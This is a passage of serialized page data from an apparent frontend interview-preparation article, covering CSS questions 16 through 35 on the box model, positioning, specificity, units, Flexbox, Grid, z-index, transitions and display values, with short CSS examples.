",[62,42298,42299],{},"border"," (a line around the padding), and the ",[62,42302,42303],{},"margin"," (transparent space outside the border, separating this box from the next one).",[11,42306,42307],{},[1268,42308],{"alt":42309,"src":42310},"CSS box model diagram","/post-images/top-100-frontend-interview-questions/css-box-model-diagram.png",[11,42312,42313,42314,42317,42318,42321,42322,42325,42326,42329,42330,42333],{},"The thing that trips most beginners up is what ",[18,42315,42316],{},"width"," actually means. By default, ",[18,42319,42320],{},"width: 200px"," sets the width of the ",[62,42323,42324],{},"content area only",". Padding and border are added on top, so a box with ",[18,42327,42328],{},"width: 200px; padding: 20px; border: 5px solid"," ends up being 250 pixels wide on screen. That is why so many layouts ended up wider than expected, and it is the reason the next question (",[18,42331,42332],{},"box-sizing",") exists.",[34,42335,42337,42338,592,42341,1349],{"id":42336},"_17-what-is-the-difference-between-box-sizing-content-box-and-border-box","17. What is the difference between ",[18,42339,42340],{},"box-sizing: content-box",[18,42342,42343],{},"border-box",[11,42345,42346,42347,592,42349,42352,42353,42356],{},"This decides how ",[18,42348,42316],{},[18,42350,42351],{},"height"," are calculated. With ",[18,42354,42355],{},"content-box"," (the default), the width you set is just the content. Padding and border get added on top, so the total visible width is bigger than the number you wrote.",[11,42358,42359,42360,42362,42363,42365],{},"With ",[18,42361,42343],{},", the width you set is the ",[62,42364,5638],{}," width including padding and border. The content area shrinks to make room. Almost everyone finds this more intuitive.",[123,42367,42371],{"className":42368,"code":42369,"language":42370,"meta":128,"style":128},"language-css shiki shiki-themes github-dark","*, *::before, *::after {\n    box-sizing: border-box;\n}\n","css",[18,42372,42373,42393,42405],{"__ignoreMap":128},[132,42374,42375,42377,42379,42381,42384,42386,42388,42391],{"class":134,"line":135},[132,42376,4683],{"class":142},[132,42378,581],{"class":138},[132,42380,4683],{"class":142},[132,42382,42383],{"class":158},"::before",[132,42385,581],{"class":138},[132,42387,4683],{"class":142},[132,42389,42390],{"class":158},"::after",[132,42392,316],{"class":138},[132,42394,42395,42398,42400,42402],{"class":134,"line":149},[132,42396,42397],{"class":233},"    box-sizing",[132,42399,325],{"class":138},[132,42401,42343],{"class":233},[132,42403,42404],{"class":138},";\n",[132,42406,42407],{"class":134,"line":176},[132,42408,281],{"class":138},[11,42410,42411],{},"That snippet at the top of your stylesheet flips the default for the whole project, and most modern frameworks (Tailwind, Bootstrap, every CSS reset) do this for you. Once you switch, your width math becomes \"what I write is what I see,\" which makes layout dramatically easier.",[34,42413,42415,42416,581,42419,581,42422,626,42425,1349],{"id":42414},"_18-what-is-the-difference-between-position-relative-absolute-fixed-and-sticky","18. What is the difference between ",[18,42417,42418],{},"position: relative",[18,42420,42421],{},"absolute",[18,42423,42424],{},"fixed",[18,42426,42427],{},"sticky",[11,42429,42430,42433],{},[18,42431,42432],{},"position"," decides how an element is placed on the page. There are five values you should know.",[56,42435,42436,42446,42455,42460,42465],{},[59,42437,42438,42441,42442,42445],{},[18,42439,42440],{},"static"," is the default. The element flows in the document like normal, and ",[18,42443,42444],{},"top/left/right/bottom"," do nothing.",[59,42447,42448,42451,42452,42454],{},[18,42449,42450],{},"relative"," keeps the element in normal flow but lets you nudge it with ",[18,42453,42444],{},". Crucially, the space it would have taken is preserved, so other elements do not move.",[59,42456,42457,42459],{},[18,42458,42421],{}," removes the element from normal flow entirely. It is positioned relative to the nearest ancestor that has its own non static position. If there is no such ancestor, it is positioned relative to the page.",[59,42461,42462,42464],{},[18,42463,42424],{}," is like absolute, but always positioned relative to the viewport. It does not move when you scroll, which is how sticky headers and floating chat buttons work.",[59,42466,42467,42469,42470,42472,42473,42476,42477,42479],{},[18,42468,42427],{}," is a hybrid. It behaves like ",[18,42471,42450],{}," until you scroll past a threshold (usually ",[18,42474,42475],{},"top: 0","), at which point it locks in place like ",[18,42478,42424],{},", but only within its parent.",[11,42481,42482,42483,42485,42486,42489],{},"A common pattern: wrap an item with ",[18,42484,42418],{},", then place a child with ",[18,42487,42488],{},"position: absolute"," to overlay something (a badge, a close button) on it.",[34,42491,42493,42494,581,42497,626,42500,1349],{"id":42492},"_19-what-is-the-difference-between-display-none-visibility-hidden-and-opacity-0","19. What is the difference between ",[18,42495,42496],{},"display: none",[18,42498,42499],{},"visibility: hidden",[18,42501,42502],{},"opacity: 0",[11,42504,42505],{},"All three make an element invisible, but the side effects are very different.",[479,42507,42508,42524],{},[482,42509,42510],{},[485,42511,42512,42515,42518,42521],{},[488,42513,42514],{},"Property",[488,42516,42517],{},"Takes up space",[488,42519,42520],{},"Visible",[488,42522,42523],{},"Receives clicks",[498,42525,42526,42538,42550],{},[485,42527,42528,42532,42534,42536],{},[503,42529,42530],{},[18,42531,42496],{},[503,42533,5999],{},[503,42535,5999],{},[503,42537,5999],{},[485,42539,42540,42544,42546,42548],{},[503,42541,42542],{},[18,42543,42499],{},[503,42545,3298],{},[503,42547,5999],{},[503,42549,5999],{},[485,42551,42552,42556,42558,42560],{},[503,42553,42554],{},[18,42555,42502],{},[503,42557,3298],{},[503,42559,5999],{},[503,42561,3298],{},[11,42563,42564,42566,42567,42569,42570,42572],{},[18,42565,42496],{}," removes the element from the layout entirely, like it does not exist. ",[18,42568,42499],{}," keeps the space but hides the contents. ",[18,42571,42502],{}," is the surprising one: the element is fully transparent but it is still there and it can still be clicked and focused. That is sometimes useful (animating a fade in without changing layout) and sometimes a confusing bug (an invisible button intercepting clicks).",[34,42574,42576],{"id":42575},"_20-what-is-specificity-in-css","20. What is specificity in CSS?",[11,42578,42579],{},"Specificity is the rule that decides which CSS declaration wins when more than one rule could apply to the same element. Browsers calculate it as a four part score: inline styles, ids, classes (and attributes and pseudo classes), and elements (and pseudo elements).",[11,42581,7631,42582,42585,42586,42589,42590,42593,42594,42596,42597,42599],{},[18,42583,42584],{},"#main .item"," scores 0,1,1,0 (one id, one class). ",[18,42587,42588],{},".list .item"," scores 0,0,2,0 (two classes). The first one wins because the id outweighs any number of classes. An inline ",[18,42591,42592],{},"style=\"...\""," always beats both, and ",[18,42595,41529],{}," beats all of those, and only another ",[18,42598,41529],{}," can beat that.",[11,42601,42602,42603,42605],{},"In real codebases, the moment you start writing ",[18,42604,41529],{}," to fix a styling problem, you are usually fighting your own specificity. The cure is almost always to lower the specificity of the conflicting rule, not to escalate. That is why many teams write CSS with single class selectors and avoid id selectors for styling.",[34,42607,42609,42610,581,42613,581,42616,581,42618,581,42621,626,42624,1349],{"id":42608},"_21-what-is-the-difference-between-em-rem-px-vh-and-vw","21. What is the difference between ",[18,42611,42612],{},"em",[18,42614,42615],{},"rem",[18,42617,1981],{},[18,42619,42620],{},"%",[18,42622,42623],{},"vh",[18,42625,42626],{},"vw",[11,42628,42629],{},"These are all CSS length units, but they relate to different things.",[56,42631,42632,42643,42659,42674,42679],{},[59,42633,42634,42636,42637,1850,42640,42642],{},[18,42635,1981],{}," is an absolute pixel. ",[18,42638,42639],{},"16px",[18,42641,42639],{}," no matter where you put it.",[59,42644,42645,42647,42648,42651,42652,42654,42655,42658],{},[18,42646,42612],{}," is relative to the font size of the ",[62,42649,42650],{},"current element",". If a ",[18,42653,8232],{}," has font size 20px, then ",[18,42656,42657],{},"1em"," inside that div is 20px.",[59,42660,42661,42647,42663,42666,42667,42669,42670,42673],{},[18,42662,42615],{},[62,42664,42665],{},"root"," element (",[18,42668,41818],{},"). So ",[18,42671,42672],{},"1rem"," is the same everywhere on the page, which is usually what you want.",[59,42675,42676,42678],{},[18,42677,42620],{}," is relative to the parent, but what \"the parent\" means depends on the property (width is parent width, line height is current font size, and so on).",[59,42680,42681,42683,42684,42686,42687,42690],{},[18,42682,42623],{}," is 1% of the viewport height. ",[18,42685,42626],{}," is 1% of the viewport width. So ",[18,42688,42689],{},"100vh"," is \"the full height of the visible area.\"",[11,42692,42693,42694,42696,42697,42699,42700,42702],{},"For typography, prefer ",[18,42695,42615],{},", because it scales consistently when the user changes their browser font size. For layout, mix ",[18,42698,42620],{}," (for fluid widths) and ",[18,42701,42615],{}," (for predictable spacing).",[34,42704,42706],{"id":42705},"_22-what-is-the-difference-between-flexbox-and-grid","22. What is the difference between Flexbox and Grid?",[11,42708,42709],{},"Both are modern CSS layout systems, but they solve different problems. Flexbox is one dimensional: it lays out items along a single axis, either a row or a column. Grid is two dimensional: it lays out rows and columns at the same time.",[11,42711,42712],{},[1268,42713],{"alt":42714,"src":42715},"Flexbox vs Grid diagram","/post-images/top-100-frontend-interview-questions/flexbox-vs-grid-diagram.png",[11,42717,42718],{},"The practical guidance most people follow: reach for Flexbox when you are arranging items in a single line, like a navbar, a button group, or a row of cards. Reach for Grid when you are designing a full page layout with header, sidebar, and main content, or any time you need items aligned in both rows and columns. They are not rivals; many real layouts use Grid for the page skeleton and Flexbox inside individual components.",[34,42720,42722],{"id":42721},"_23-how-do-you-center-an-element-both-horizontally-and-vertically","23. How do you center an element both horizontally and vertically?",[11,42724,42725],{},"For a long time this was a famous CSS pain point. Today it is one line with Flexbox or Grid.",[123,42727,42729],{"className":42368,"code":42728,"language":42370,"meta":128,"style":128},"/* Flexbox */\n.parent {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n/* Grid */\n.parent {\n    display: grid;\n    place-items: center;\n}\n",[18,42730,42731,42736,42743,42754,42766,42777,42781,42785,42790,42796,42807,42818],{"__ignoreMap":128},[132,42732,42733],{"class":134,"line":135},[132,42734,42735],{"class":397},"/* Flexbox */\n",[132,42737,42738,42741],{"class":134,"line":149},[132,42739,42740],{"class":158},".parent",[132,42742,316],{"class":138},[132,42744,42745,42747,42749,42752],{"class":134,"line":176},[132,42746,2977],{"class":233},[132,42748,325],{"class":138},[132,42750,42751],{"class":233},"flex",[132,42753,42404],{"class":138},[132,42755,42756,42759,42761,42764],{"class":134,"line":186},[132,42757,42758],{"class":233},"    justify-content",[132,42760,325],{"class":138},[132,42762,42763],{"class":233},"center",[132,42765,42404],{"class":138},[132,42767,42768,42771,42773,42775],{"class":134,"line":193},[132,42769,42770],{"class":233},"    align-items",[132,42772,325],{"class":138},[132,42774,42763],{"class":233},[132,42776,42404],{"class":138},[132,42778,42779],{"class":134,"line":206},[132,42780,281],{"class":138},[132,42782,42783],{"class":134,"line":222},[132,42784,190],{"emptyLinePlaceholder":189},[132,42786,42787],{"class":134,"line":227},[132,42788,42789],{"class":397},"/* Grid */\n",[132,42791,42792,42794],{"class":134,"line":252},[132,42793,42740],{"class":158},[132,42795,316],{"class":138},[132,42797,42798,42800,42802,42805],{"class":134,"line":257},[132,42799,2977],{"class":233},[132,42801,325],{"class":138},[132,42803,42804],{"class":233},"grid",[132,42806,42404],{"class":138},[132,42808,42809,42812,42814,42816],{"class":134,"line":269},[132,42810,42811],{"class":233},"    place-items",[132,42813,325],{"class":138},[132,42815,42763],{"class":233},[132,42817,42404],{"class":138},[132,42819,42820],{"class":134,"line":278},[132,42821,281],{"class":138},[11,42823,42824,42825,12629,42827,42830],{},"That is it. You apply this to the parent, and any single child inside will be centred both ways. If you ever see older tutorials using ",[18,42826,42488],{},[18,42828,42829],{},"transform: translate(-50%, -50%)",", that was the workaround before Flexbox and Grid existed. You almost never need it anymore.",[34,42832,42834],{"id":42833},"_24-what-are-pseudo-classes-and-pseudo-elements","24. What are pseudo classes and pseudo elements?",[11,42836,42837],{},"Both let you target something more specific than just an element, but they describe different things.",[11,42839,3374,42840,42843,42844,42847,42848,42851,42852,42855,42856,9122],{},[62,42841,42842],{},"pseudo class"," describes a state. It targets an element in a particular condition, like when the cursor is over it (",[18,42845,42846],{},":hover","), when it is focused (",[18,42849,42850],{},":focus","), when it is the third child (",[18,42853,42854],{},":nth-child(3)","), or when a checkbox is checked (",[18,42857,42858],{},":checked",[11,42860,3374,42861,42864,42865,42868,42869,42872,42873,581,42875,9122],{},[62,42862,42863],{},"pseudo element"," describes a part of an element. It lets you style or insert something that is not a real DOM node, like the first letter of a paragraph (",[18,42866,42867],{},"::first-letter","), the placeholder text inside an input (",[18,42870,42871],{},"::placeholder","), or generated content before or after the element (",[18,42874,42383],{},[18,42876,42390],{},[11,42878,42879,42880,42882,42883,42885],{},"By convention, pseudo classes use a single colon (",[18,42881,42846],{},") and pseudo elements use a double colon (",[18,42884,42383],{},"). This is one of those small details that interviewers love because it tells them whether you have actually written real CSS.",[34,42887,42889,42890,592,42892,1349],{"id":42888},"_25-what-is-the-difference-between-before-and-after","25. What is the difference between ",[18,42891,42383],{},[18,42893,42390],{},[11,42895,42896,42897,42899,42900,42902],{},"Both are pseudo elements that insert generated content into an element. ",[18,42898,42383],{}," puts the content at the very start of the element (before any real children), and ",[18,42901,42390],{}," puts it at the very end.",[11,42904,42905,42906,42908],{},"Both require a ",[18,42907,42291],{}," property, otherwise the browser does not render them at all. Even an empty string counts:",[123,42910,42912],{"className":42368,"code":42911,"language":42370,"meta":128,"style":128},".note::before {\n    content: '📝 ';\n    color: #10b981;\n}\n\n.tooltip::after {\n    content: '';            /* still required */\n    display: block;\n    width: 8px;\n    height: 8px;\n}\n",[18,42913,42914,42921,42933,42944,42948,42952,42959,42973,42984,42998,43011],{"__ignoreMap":128},[132,42915,42916,42919],{"class":134,"line":135},[132,42917,42918],{"class":158},".note::before",[132,42920,316],{"class":138},[132,42922,42923,42926,42928,42931],{"class":134,"line":149},[132,42924,42925],{"class":233},"    content",[132,42927,325],{"class":138},[132,42929,42930],{"class":165},"'📝 '",[132,42932,42404],{"class":138},[132,42934,42935,42937,42939,42942],{"class":134,"line":176},[132,42936,322],{"class":233},[132,42938,325],{"class":138},[132,42940,42941],{"class":233},"#10b981",[132,42943,42404],{"class":138},[132,42945,42946],{"class":134,"line":186},[132,42947,281],{"class":138},[132,42949,42950],{"class":134,"line":193},[132,42951,190],{"emptyLinePlaceholder":189},[132,42953,42954,42957],{"class":134,"line":206},[132,42955,42956],{"class":158},".tooltip::after",[132,42958,316],{"class":138},[132,42960,42961,42963,42965,42967,42970],{"class":134,"line":222},[132,42962,42925],{"class":233},[132,42964,325],{"class":138},[132,42966,13616],{"class":165},[132,42968,42969],{"class":138},";            ",[132,42971,42972],{"class":397},"/* still required */\n",[132,42974,42975,42977,42979,42982],{"class":134,"line":227},[132,42976,2977],{"class":233},[132,42978,325],{"class":138},[132,42980,42981],{"class":233},"block",[132,42983,42404],{"class":138},[132,42985,42986,42989,42991,42994,42996],{"class":134,"line":252},[132,42987,42988],{"class":233},"    width",[132,42990,325],{"class":138},[132,42992,42993],{"class":233},"8",[132,42995,1981],{"class":209},[132,42997,42404],{"class":138},[132,42999,43000,43003,43005,43007,43009],{"class":134,"line":257},[132,43001,43002],{"class":233},"    height",[132,43004,325],{"class":138},[132,43006,42993],{"class":233},[132,43008,1981],{"class":209},[132,43010,42404],{"class":138},[132,43012,43013],{"class":134,"line":269},[132,43014,281],{"class":138},[11,43016,43017],{},"They are great for decorative things like icons, quotation marks, dividers, or arrow shapes on tooltips, without polluting your HTML with extra elements.",[34,43019,43021],{"id":43020},"_26-what-is-the-css-cascade","26. What is the CSS cascade?",[11,43023,43024],{},"The cascade is the algorithm the browser uses to decide which style wins when multiple rules apply to the same element. It is literally where the C in CSS comes from.",[11,43026,43027],{},"The browser considers, in order:",[14180,43029,43030,43042,43048],{},[59,43031,43032,43035,43036,43038,43039,43041],{},[62,43033,43034],{},"Origin and importance",": user agent stylesheet, your stylesheet, user stylesheet, and ",[18,43037,41529],{}," rules. Author ",[18,43040,41529],{}," beats almost everything in normal use.",[59,43043,43044,43047],{},[62,43045,43046],{},"Specificity",": the four part score from question 20.",[59,43049,43050,43053],{},[62,43051,43052],{},"Source order",": among rules of equal specificity, the one written later wins.",[11,43055,43056],{},"The first time this clicks, a lot of \"why is my CSS not working\" mysteries instantly become solvable. Either something more specific is overriding you, or something later is overriding you, or both.",[34,43058,43060],{"id":43059},"_27-what-is-the-difference-between-inline-internal-and-external-css","27. What is the difference between inline, internal, and external CSS?",[11,43062,43063],{},"These are the three places you can put CSS, and each has tradeoffs.",[56,43065,43066,43074,43082],{},[59,43067,43068,7875,43071,43073],{},[62,43069,43070],{},"Inline CSS",[18,43072,42592],{}," attribute directly on an element. It has the highest specificity, which is both its power and its problem, because anything that high is hard to override. It is also impossible to cache or reuse.",[59,43075,43076,7875,43079,43081],{},[62,43077,43078],{},"Internal CSS",[18,43080,363],{}," block inside the HTML head. It is great for tiny pages, prototypes, or \"critical CSS\" that you want to inline so the page can render before any external stylesheet downloads.",[59,43083,43084,43087,43088,43091,43092,43095],{},[62,43085,43086],{},"External CSS"," is a separate ",[18,43089,43090],{},".css"," file linked with ",[18,43093,43094],{},"\u003Clink rel=\"stylesheet\">",". This is what almost every real website uses, because the file can be cached, reused across pages, and edited without touching the HTML.",[11,43097,43098],{},"Most projects use external for the bulk of styles, internal for critical above the fold CSS that needs to appear instantly, and inline only for genuinely dynamic per element values.",[34,43100,43102],{"id":43101},"_28-what-are-css-variables-custom-properties","28. What are CSS variables (custom properties)?",[11,43104,43105,43106,385],{},"CSS variables, also called custom properties, let you define a value once and reuse it everywhere. You declare one with two leading dashes and read it back with ",[18,43107,43108],{},"var()",[123,43110,43112],{"className":42368,"code":43111,"language":42370,"meta":128,"style":128},":root {\n    --brand: #10b981;\n    --space-md: 16px;\n}\n\n.button {\n    background: var(--brand);\n    padding: var(--space-md);\n}\n",[18,43113,43114,43121,43132,43146,43150,43154,43161,43179,43195],{"__ignoreMap":128},[132,43115,43116,43119],{"class":134,"line":135},[132,43117,43118],{"class":158},":root",[132,43120,316],{"class":138},[132,43122,43123,43126,43128,43130],{"class":134,"line":149},[132,43124,43125],{"class":697},"    --brand",[132,43127,325],{"class":138},[132,43129,42941],{"class":233},[132,43131,42404],{"class":138},[132,43133,43134,43137,43139,43142,43144],{"class":134,"line":176},[132,43135,43136],{"class":697},"    --space-md",[132,43138,325],{"class":138},[132,43140,43141],{"class":233},"16",[132,43143,1981],{"class":209},[132,43145,42404],{"class":138},[132,43147,43148],{"class":134,"line":186},[132,43149,281],{"class":138},[132,43151,43152],{"class":134,"line":193},[132,43153,190],{"emptyLinePlaceholder":189},[132,43155,43156,43159],{"class":134,"line":206},[132,43157,43158],{"class":158},".button",[132,43160,316],{"class":138},[132,43162,43163,43166,43168,43171,43173,43176],{"class":134,"line":222},[132,43164,43165],{"class":233},"    background",[132,43167,325],{"class":138},[132,43169,43170],{"class":233},"var",[132,43172,243],{"class":138},[132,43174,43175],{"class":697},"--brand",[132,43177,43178],{"class":138},");\n",[132,43180,43181,43184,43186,43188,43190,43193],{"class":134,"line":227},[132,43182,43183],{"class":233},"    padding",[132,43185,325],{"class":138},[132,43187,43170],{"class":233},[132,43189,243],{"class":138},[132,43191,43192],{"class":697},"--space-md",[132,43194,43178],{"class":138},[132,43196,43197],{"class":134,"line":252},[132,43198,281],{"class":138},[11,43200,43201,43202,43205,43206,43209,43210,592,43213,43216,43217,43219],{},"The thing that makes them special, compared to preprocessor variables like Sass ",[18,43203,43204],{},"$brand",", is that they are ",[62,43207,43208],{},"live",". They exist at runtime in the browser, so you can change them on the fly with JavaScript, with media queries, or by adding a class, and every element using them updates instantly. That is exactly how modern dark mode toggles work: flip a single ",[18,43211,43212],{},"--bg",[18,43214,43215],{},"--text"," variable on ",[18,43218,41818],{},", and the whole page re skins.",[34,43221,43223,43224,581,43227,626,43230,1349],{"id":43222},"_29-what-is-the-difference-between-min-width-max-width-and-width","29. What is the difference between ",[18,43225,43226],{},"min-width",[18,43228,43229],{},"max-width",[18,43231,42316],{},[11,43233,43234,43236,43237,43239,43240,43242],{},[18,43235,42316],{}," sets a fixed width: \"be exactly this wide.\" ",[18,43238,43226],{}," sets a floor: \"never get smaller than this.\" ",[18,43241,43229],{}," sets a ceiling: \"never get bigger than this.\"",[11,43244,43245],{},"The two relative ones are essential for responsive design. The most common one liner you will write again and again is:",[123,43247,43249],{"className":42368,"code":43248,"language":42370,"meta":128,"style":128},"img, video {\n    max-width: 100%;\n    height: auto;\n}\n",[18,43250,43251,43262,43275,43286],{"__ignoreMap":128},[132,43252,43253,43255,43257,43260],{"class":134,"line":135},[132,43254,1268],{"class":142},[132,43256,581],{"class":138},[132,43258,43259],{"class":142},"video",[132,43261,316],{"class":138},[132,43263,43264,43267,43269,43271,43273],{"class":134,"line":149},[132,43265,43266],{"class":233},"    max-width",[132,43268,325],{"class":138},[132,43270,5551],{"class":233},[132,43272,42620],{"class":209},[132,43274,42404],{"class":138},[132,43276,43277,43279,43281,43284],{"class":134,"line":176},[132,43278,43002],{"class":233},[132,43280,325],{"class":138},[132,43282,43283],{"class":233},"auto",[132,43285,42404],{"class":138},[132,43287,43288],{"class":134,"line":186},[132,43289,281],{"class":138},[11,43291,43292],{},"That tells images and videos: \"fit your container, but never overflow it.\" Without this, a 1600px wide hero image will blow out the layout on a phone.",[34,43294,43296],{"id":43295},"_30-what-is-a-media-query","30. What is a media query?",[11,43298,43299],{},"A media query is a CSS block that only applies when certain conditions are true. The most common condition is the size of the viewport.",[123,43301,43303],{"className":42368,"code":43302,"language":42370,"meta":128,"style":128},".sidebar {\n    display: block;\n}\n\n@media (max-width: 768px) {\n    .sidebar {\n        display: none;\n    }\n}\n",[18,43304,43305,43312,43322,43326,43330,43348,43355,43366,43370],{"__ignoreMap":128},[132,43306,43307,43310],{"class":134,"line":135},[132,43308,43309],{"class":158},".sidebar",[132,43311,316],{"class":138},[132,43313,43314,43316,43318,43320],{"class":134,"line":149},[132,43315,2977],{"class":233},[132,43317,325],{"class":138},[132,43319,42981],{"class":233},[132,43321,42404],{"class":138},[132,43323,43324],{"class":134,"line":176},[132,43325,281],{"class":138},[132,43327,43328],{"class":134,"line":186},[132,43329,190],{"emptyLinePlaceholder":189},[132,43331,43332,43335,43337,43339,43341,43344,43346],{"class":134,"line":193},[132,43333,43334],{"class":209},"@media",[132,43336,5454],{"class":138},[132,43338,43229],{"class":233},[132,43340,325],{"class":138},[132,43342,43343],{"class":233},"768",[132,43345,1981],{"class":209},[132,43347,701],{"class":138},[132,43349,43350,43353],{"class":134,"line":206},[132,43351,43352],{"class":158},"    .sidebar",[132,43354,316],{"class":138},[132,43356,43357,43360,43362,43364],{"class":134,"line":222},[132,43358,43359],{"class":233},"        display",[132,43361,325],{"class":138},[132,43363,1364],{"class":233},[132,43365,42404],{"class":138},[132,43367,43368],{"class":134,"line":227},[132,43369,870],{"class":138},[132,43371,43372],{"class":134,"line":252},[132,43373,281],{"class":138},[11,43375,43376,43377,43380,43381,43384,43385,43388],{},"That hides the sidebar on screens 768 pixels wide or less. Media queries can also check things like color scheme (",[18,43378,43379],{},"prefers-color-scheme: dark","), reduced motion (",[18,43382,43383],{},"prefers-reduced-motion","), and orientation. There is also a newer feature called container queries (",[18,43386,43387],{},"@container","), which checks the size of a parent element instead of the viewport, which is enormously useful for component based design.",[34,43390,43392],{"id":43391},"_31-what-is-the-difference-between-mobile-first-and-desktop-first-css","31. What is the difference between mobile first and desktop first CSS?",[11,43394,43395],{},"Both are ways to write responsive CSS, but they start from different defaults.",[11,43397,43398,43399,43402,43403,43405,43406,43409,43410,43412],{},"In a ",[62,43400,43401],{},"mobile first"," approach, you write the base styles for the smallest screen and use ",[18,43404,43226],{}," media queries to add things as the screen gets bigger. In a ",[62,43407,43408],{},"desktop first"," approach, you write the base styles for the largest screen and use ",[18,43411,43229],{}," media queries to take things away as the screen gets smaller.",[11,43414,43415],{},"Mobile first tends to produce smaller, simpler stylesheets in practice, because you are adding complexity for big screens (which usually means more layout features) rather than stripping it away for small screens. Most modern frameworks default to mobile first for that reason.",[34,43417,43419,43420,43422],{"id":43418},"_32-what-is-z-index-and-how-does-it-work","32. What is ",[18,43421,18286],{}," and how does it work?",[11,43424,43425,43427],{},[18,43426,18286],{}," controls the stacking order of elements that overlap. A higher value sits in front; a lower value sits behind. By default everything is at the same level, and the order they appear in the HTML decides what is on top.",[11,43429,43430,43431,43433,43434,43436,43437,43439,43440,43442,43443,43446,43447,43449],{},"There are two important rules people often get wrong. First, ",[18,43432,18286],{}," only works on elements that have a ",[18,43435,42432],{}," other than ",[18,43438,42440],{}," (or that are flex / grid items with ",[18,43441,18286],{}," set). If you set ",[18,43444,43445],{},"z-index: 999"," on a normal ",[18,43448,8232],{}," it does nothing.",[11,43451,43452,43453,43455,43456,43459,43460,43462,43463,43466,43467,385],{},"Second, ",[18,43454,18286],{}," lives inside something called a ",[62,43457,43458],{},"stacking context",". An element can never appear above another element that is in a different, higher level stacking context, no matter how huge its ",[18,43461,18286],{}," is. This is why a modal with ",[18,43464,43465],{},"z-index: 9999"," sometimes still ends up stuck behind a header. The fix is usually to render the modal outside the trapped subtree, often as a direct child of ",[18,43468,18423],{},[34,43470,4315,43472,43475,43476,1349],{"id":43471},"_33-what-is-the-difference-between-transform-translate-and-changing-topleft",[18,43473,43474],{},"transform: translate()"," and changing ",[18,43477,43478],{},"top/left",[11,43480,43481],{},"Both move an element to a new position, but the cost is wildly different.",[11,43483,43484,43485,1334,43488,43491,43492,43495],{},"When you change ",[18,43486,43487],{},"top",[18,43489,43490],{},"left",", the browser has to do ",[62,43493,43494],{},"layout",", which means recalculating the position of this element and possibly everything around it, then repaint. That is slow, especially during animations.",[11,43497,43484,43498,43501,43502,43505],{},[18,43499,43500],{},"transform: translate(...)",", the browser usually skips layout entirely and just composites the element on the GPU. The original layout box does not move; visually, the element shifts. That is why ",[18,43503,43504],{},"transform"," is dramatically faster for animations, often hitting 60fps without breaking a sweat.",[11,43507,43508,43509,43512,43513,592,43515,43517],{},"The same pattern applies to ",[18,43510,43511],{},"opacity",". So the rule of thumb for smooth animations is: animate ",[18,43514,43504],{},[18,43516,43511],{}," whenever possible, and avoid animating layout properties.",[34,43519,43521],{"id":43520},"_34-what-are-css-transitions-and-animations","34. What are CSS transitions and animations?",[11,43523,43524],{},"Both make things move, but they are aimed at different needs.",[11,43526,3374,43527,43530,43531,9122],{},[62,43528,43529],{},"transition"," smoothly interpolates between two states. You define the starting style, the property to transition, and how long it should take. The transition runs whenever the property changes (often because of a class change or a ",[18,43532,42846],{},[123,43534,43536],{"className":42368,"code":43535,"language":42370,"meta":128,"style":128},".box {\n    transition: transform 200ms ease;\n}\n.box:hover {\n    transform: scale(1.1);\n}\n",[18,43537,43538,43545,43563,43567,43574,43591],{"__ignoreMap":128},[132,43539,43540,43543],{"class":134,"line":135},[132,43541,43542],{"class":158},".box",[132,43544,316],{"class":138},[132,43546,43547,43550,43553,43555,43558,43561],{"class":134,"line":149},[132,43548,43549],{"class":233},"    transition",[132,43551,43552],{"class":138},": transform ",[132,43554,17685],{"class":233},[132,43556,43557],{"class":209},"ms",[132,43559,43560],{"class":233}," ease",[132,43562,42404],{"class":138},[132,43564,43565],{"class":134,"line":176},[132,43566,281],{"class":138},[132,43568,43569,43572],{"class":134,"line":186},[132,43570,43571],{"class":158},".box:hover",[132,43573,316],{"class":138},[132,43575,43576,43579,43581,43584,43586,43589],{"class":134,"line":193},[132,43577,43578],{"class":233},"    transform",[132,43580,325],{"class":138},[132,43582,43583],{"class":233},"scale",[132,43585,243],{"class":138},[132,43587,43588],{"class":233},"1.1",[132,43590,43178],{"class":138},[132,43592,43593],{"class":134,"line":206},[132,43594,281],{"class":138},[11,43596,43597,43598,43601,43602,43605],{},"An ",[62,43599,43600],{},"animation"," uses ",[18,43603,43604],{},"@keyframes"," to define a multi step sequence. It is more powerful: it can run on its own without a state change, loop, alternate direction, and stop and start by toggling a class.",[123,43607,43609],{"className":42368,"code":43608,"language":42370,"meta":128,"style":128},"@keyframes spin {\n    to { transform: rotate(360deg); }\n}\n.loader {\n    animation: spin 1s linear infinite;\n}\n",[18,43610,43611,43620,43645,43649,43656,43677],{"__ignoreMap":128},[132,43612,43613,43615,43618],{"class":134,"line":135},[132,43614,43604],{"class":209},[132,43616,43617],{"class":697}," spin",[132,43619,316],{"class":138},[132,43621,43622,43625,43627,43629,43631,43634,43636,43639,43642],{"class":134,"line":149},[132,43623,43624],{"class":158},"    to",[132,43626,3858],{"class":138},[132,43628,43504],{"class":233},[132,43630,325],{"class":138},[132,43632,43633],{"class":233},"rotate",[132,43635,243],{"class":138},[132,43637,43638],{"class":233},"360",[132,43640,43641],{"class":209},"deg",[132,43643,43644],{"class":138},"); }\n",[132,43646,43647],{"class":134,"line":176},[132,43648,281],{"class":138},[132,43650,43651,43654],{"class":134,"line":186},[132,43652,43653],{"class":158},".loader",[132,43655,316],{"class":138},[132,43657,43658,43661,43664,43666,43669,43672,43675],{"class":134,"line":193},[132,43659,43660],{"class":233},"    animation",[132,43662,43663],{"class":138},": spin ",[132,43665,1567],{"class":233},[132,43667,43668],{"class":209},"s",[132,43670,43671],{"class":233}," linear",[132,43673,43674],{"class":233}," infinite",[132,43676,42404],{"class":138},[132,43678,43679],{"class":134,"line":206},[132,43680,281],{"class":138},[11,43682,43683],{},"Use transitions for \"respond to a state change\" effects (hover, focus, open). Use animations for things that need to run independently, like loaders, attention seekers, or staged entrances.",[34,43685,43687,43688,581,43691,626,43694,1349],{"id":43686},"_35-what-is-the-difference-between-inline-inline-block-and-block","35. What is the difference between ",[18,43689,43690],{},"inline",[18,43692,43693],{},"inline-block",[18,43695,42981],{},[11,43697,43698,43699,41833],{},"These are three of the most common values for the ",[18,43700,1360],{},[56,43702,43703,43720,43736],{},[59,43704,43705,43707,43708,581,43710,581,43712,43714,43715,581,43717,43719],{},[18,43706,42981],{}," elements (",[18,43709,8232],{},[18,43711,17836],{},[18,43713,41493],{},") take up the full width available, start on a new line, and respect ",[18,43716,42316],{},[18,43718,42351],{},", top/bottom margin, and top/bottom padding.",[59,43721,43722,43707,43724,581,43726,581,43728,43730,43731,581,43733,43735],{},[18,43723,43690],{},[18,43725,41373],{},[18,43727,14684],{},[18,43729,41498],{},") only take up the width of their content, sit next to other inline elements on the same line, and 